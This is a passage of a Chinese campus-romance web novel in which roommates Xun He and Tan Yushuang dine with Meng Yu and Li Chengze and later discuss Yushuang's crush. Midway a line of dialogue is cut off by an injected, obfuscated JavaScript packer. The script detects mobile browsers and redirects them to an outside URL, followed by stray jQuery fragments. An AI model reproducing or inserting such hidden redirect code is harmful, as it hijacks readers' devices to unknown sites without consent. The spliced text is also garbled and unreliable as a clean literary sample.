捞起一条毛肚，在碗里涮涮再蘸蘸辣椒面，一口一口，抛开那些她独享的秘密。


    李程泽：“荀和，还没来得及谢谢你呢，上次聚餐多亏你的建议，这次想吃串串也是听了你的推荐过来的。”


    看着他们狂风暴雨般的摄入，虽然不觉得他们会只吃不说话的，但也没想到话茬来得这么快，还跟她有关。


    荀和咽下嘴里的食物：“没事的，而且你已经谢过了，不用这么客气。”


    李程泽嘿嘿两声，又拿了把各种牛肉串往锅里放：“这不是见着没当面谢谢吗。上次我们吃的火锅，大家都觉得味道挺好。”


    “其实这些事情语双更熟悉一点，她也是学生会的。”荀和顺口介绍了句。


    听到荀和提起谭语双的名字，李程泽也不由自主地看向谭语双。


    谭语双全然不受影响地把签子上的菜取下放在碗里，再丢进装签的桶里，才抬眼对上李程泽的视线。


    面对谭语双半点不躲闪直直地看过来的眼睛，李程泽一愣，下一秒又是平常的样子，笑道：“哦，原来这样，那我们也算是同事了。”


    谭语双没说话，只是看着他。


    李程泽有点遭不住，放完签子的手有点不知道做什么，挠挠头，语气试探：“那，要不，我们加个联系方式？”


    “可以。”她应得爽快。


    闻言，荀和偏头若有所思，眼含打量地在谭语双脸上走了几圈。


    谭语双自然是察觉到的，跟荀和眼神对上一秒又飞快收回，还是一脸平静拿出手机点开微信二维码名片，将手机转个方面，朝李程泽跟前递递。


    李程泽被这一连贯的流畅动作唬得刚回神，映入眼帘的就是一个二维码，中间是个黑猫警长。


    “哦哦。”


    连忙拿出手机扫码。


    忽略掉荀和更加强烈的目光，谭语双忍住仿佛被看穿的心虚，自然地点了同意，把手机揣回去。


    可过了好一会儿，还是没忍住，有些无奈：“和和。”


    荀和嘴角的笑意更深了，都满到了眼睛里：“好，知道了。”


    谭语双：“……”


    那你能不能不要一会儿看我一眼一会儿看我一眼的。


    荀和：懂了懂了。


    果然，没了荀和看似隐蔽实则对当事人毫不掩饰的视线后，谭语双感觉要自在得多。


    大概是因为这个足以令文静震惊一整年的发现，荀和很快收拾好自己那些乱糟糟的情绪。


    安静地听他们聊天，偶尔也会说两句，保持着不热情也不至于冷淡的态度。


    这种分寸感拿捏的一行人皆生好感，都纷纷暗叹“怎么偏偏遇上孟与了”。


    余光里的荀和，即便是在这样的环境里都仍然是挺直了背，显出几分倔意。


    孟与忽然想起了些往事。


    曾经有个小女孩儿也是这样，委屈巴巴都强撑着，殊不知看起来是多可怜又可爱。


    他嘴角翘了下，就那么落尽荀和的眼睛里。


    “孟与，你在笑什么？”


    似是没想到她看见了，孟与闻言偏头看向她：“没什么。”


    孟与不告诉她。


    荀和心里有些失落，不自觉地抿了下唇。


    孟与看在眼里，稍稍挑眉。


    怎么说，总不能告诉她，我在笑你小时候强忍着不哭但还是要哭的样子？


    其他人的聊天完全没有了吸引力，荀和只是看着孟与。


    “晚上我把钱转给你，你要收。”


    孟与随口拒绝：“转什么，不是说了请你。”


    荀和摇摇头。


    朝他靠近些，压低声音：“今天不合适，还有我室友呢。”


    本来就几瓶水的恩情，请她就算了，哪还能让他请谭语双，她俩给自己的最合适。


    两人之间的距离拉近。


    孟与微微垂眸就能看到她的毛茸茸的头顶，看了她一眼，没再拒绝，懒懒应了声“行”。


    然后轻飘飘扫了谭语双，问她：“你这室友平时也这么主动好客？”


    荀和疑惑的“啊”了声，有点儿没反应过来。


    “没有。”


    孟与指尖在桌面轻叩。


    轻笑一声：“那看来下次机会说不定也很快。”


    荀和瞳孔地震。


    好、好敏锐。


    ————


    谭语双这已经是不知道第多少次对上荀和笑意深长的眼神了，实在有点受不了了。


    “……和和，你别这么看我了！”


    荀和听了绷直嘴唇，严肃地朝她点点头，说了声“好”，然而又立马笑眯眯地盯着她。


    谭语双：“……”


    你这就正经了一秒！一秒多的都没有！


    心里感慨果然平时看着不多看不多言的荀和好生难糊弄！


    生活不易，双双叹气：“好吧，我承认了，我是对李程泽有点好感。”


    荀和“嗯”了一声，这次转回了头。


    谭语双等了好会儿，发现荀和没有再问，也真的没有再一会儿盯她一眼，反而有些按捺不住。


    “你不问我？”


    荀和勾着唇笑，也不看她：“问什么？没什么可问的，要喜欢还是不要喜欢都是只有你才可以做的决定。”


    说着，她的脚步停了下来，抿了抿唇，眼神悠远地望向前边路灯的光团。


    谭语双却觉得，荀和好像不是看着这一刻、看着这里，她还是笑着，又跟往常的每一个笑都不一样。


    是哪里不一样呢？


    她还没想出来，就听到耳边荀和轻轻柔柔的声音。


    “可是，人好像只能选择要不要喜欢，却不能选择会不会喜欢。”


    这是什么意思呢？两句相像的话，又好像是全然不同的意思。


    “什——”


    荀和转身看着她，一颦一笑都像是古画里走出来的人，全身都染浸了温婉韵味。


    她说：“没什么，只是喜欢你的坦然，又希望你慎重。”


    似乎是这样？


    “语双，你可以喜欢他，但什么时候，首先你都得是你。”


    谭语双也盈盈地看着她，脸上露出些少见的羞意：“嗯，我知道的。”


    此刻的她还不知道，后面好多年，她都不再完全是她自己，她弄丢了现在的谭语双。


    她们打开寝室门里面还是一片漆黑，林凌和肖文静果然还没有回来。


    荀和简单先收拾了下，想了想，正在看小说和刷视频中举棋不定时，就听见谭语双喊她，习惯性跟着声音望过去，就看到谭语双带着点小兴奋的表情。


    荀和：啊这……


    谭语双两眼发光：“和和，我们聊聊天呗。”


    这种兴奋又期待的样子不用想就知道她是要聊什么，只是，这种想要畅所欲言彻夜长谈的劲儿是认真的吗？


    荀和无法拒绝，她也拒绝不了。


    她太知道了，这种想要分享、可以吐露的心情能够带来多少幸福感。


    这也是她从来没有过的，荀和关于孟与的这份心情，只有在有影子的时候拍拍它，将那个名字在心底一遍又一遍重复给它听。


    荀和笑她：“看来语双今天是真的很开心了。”


    谭语双闻言脸上的笑意大了些，边笑边点头：“嗯，我知道你看出来了。”


    说着，停顿了下，迟疑道：“我、我表现得很明显吗？”


    荀和认真想了下才摇摇头：“对我们来说挺明显的，但对他们来说应该不算明显的。”


    倘若今天另两人也在的话，至少林凌势必会发现的，但这只是因为她们彼此够熟悉，能感觉到谭语双行为的异常而已。


    但对仅仅几面之缘，话都没多说几句的孟与他们而言，只要不过于自恋应该都不至于多想。


    虽然，就目前这情况而言也不是多想。


    不对，好像有个意外……


    “那就好那就好。”谭语双拍拍小胸脯，似乎是松了口气。


    “你不想让李程泽知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427878|153798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道？”她问道。


    听到荀和这么直接地说出他的名字，谭语双一时间所有的感觉都涌上脸，微微红了脸颊，俨然是个春心萌动的美少女，哪有平时干练的样儿。


    “也不是，主要是我这不还没确定吗，嗯，现在应该是好感阶段。”


    荀和觉得这样很好，一个人的感情太过莽撞是会头破血流的。


    谭语双没等荀和说话，很快就接着道：“等我确定了，他还是单身的话我会说的，我一定会告诉他的。”


    荀和是相信这话的，谭语双本就是这样的人，不遮遮掩掩，直接又真诚。


    多好啊，能够说出来。


    “嗯，说出来。”说着，荀和声音低了下去，“他是个值得努力主动的人。”


    孟与那么好，那么好。


    听谭语双讲起生出好感的那个契机，她说的超阳光的笑容荀和一点儿印象都没有。


    仔细回忆了一下，在她的记忆里，还是只有孟与，其他人都雾化成了背景。


    “可是，不知道他有没有女朋友哎，别等到最后才知道他有那我岂不是很惨？”


    这个问题的确很关键，荀和不确定道：“要不，我问问孟与？”


    “不行不行，他告诉李程泽怎么办？”谭语双一口拒绝。


    荀和便又迟疑道：“那让他不要告诉别人？”


    谭语双还是觉得不太行：“也不行不行，他自己会知道啊。”


    荀和：“……”


    被询问的人也不能知道，这要求属实有点苛刻了。


    “稍等。”


    荀和拿起手机，找到那个名字。


    荀和：【孟与今天的事你千万别跟别人说呀】


    那边很快回来消息。


    孟与：【？】


    孟与：【什么事】


    见她一脸认真，谭语双忍不住问道：“有什么事儿吗？”


    荀和头也不抬一边打字一边回答她：“还好，几句话的事儿。”


    荀和：【就是我室友的事】


    孟与：【你想多了我没兴趣】


    荀和：【你别暴露消息啊】


    孟与发出一声气音，有点儿乐，反倒难得生出点儿闲心。


    孟与：【不会的还有那傻子虽然单身但你室友隐晦了他看不懂的】


    荀和：“……”


    怜悯地看了眼谭语双，看来她不光得主动出击，还得打明牌了。


    荀和：【好的好的知道了】


    李程泽骂了粗口，又骂孟与：“孟与，你好没？干什么呢，打游戏呢跑什么，我都回家两次了，我可以举报队友挂机吗？”


    孟与想起荀和那室友，看着这傻狗，嗤笑一声。


    “来了，马上。”


    孟与：【好了游戏挂机那傻狗已经在骂了】


    孟与：【不会说的我先下了】


    荀和：【好的晚安.JPG】


    荀和放下手机：“刚刚聊到哪儿了？”


    谭语双：“刺探敌情的事，有机会见机行事吧。”


    荀和刚要开口，又听她急急忙补充强调：“和和，你可千万别跟孟与说啊，绝对不能！”


    荀和：“……好。”


    她说不说区别不大，人孟与在饭桌上就猜到了。


    不过看她一副讳莫如深的样子，她决定别告诉给她心理压力了。


    反正总归孟与不会往外说，李程泽也没女朋友，等她磨练下心志再去明牌吧。


    荀和还没完全从这个话题中出来，突然听到谭语双问她。


    “和和，你有没有喜欢的人？”


    她呼吸一滞，无数画面在她脑海里闪过，那漫长的真实的想象的，只关于孟与的，空气的流动似乎都缓慢下来，像一条绸带，绕过她的脖颈，缓缓收紧、收紧，她只觉喉咙逐渐干涩得厉害。


    明明只是须臾，偏偏像是过了好久，久到她不得不开口。


    荀和刚稍稍张口，旁边的谭语双却打断她。


    “咦？谁回来了？”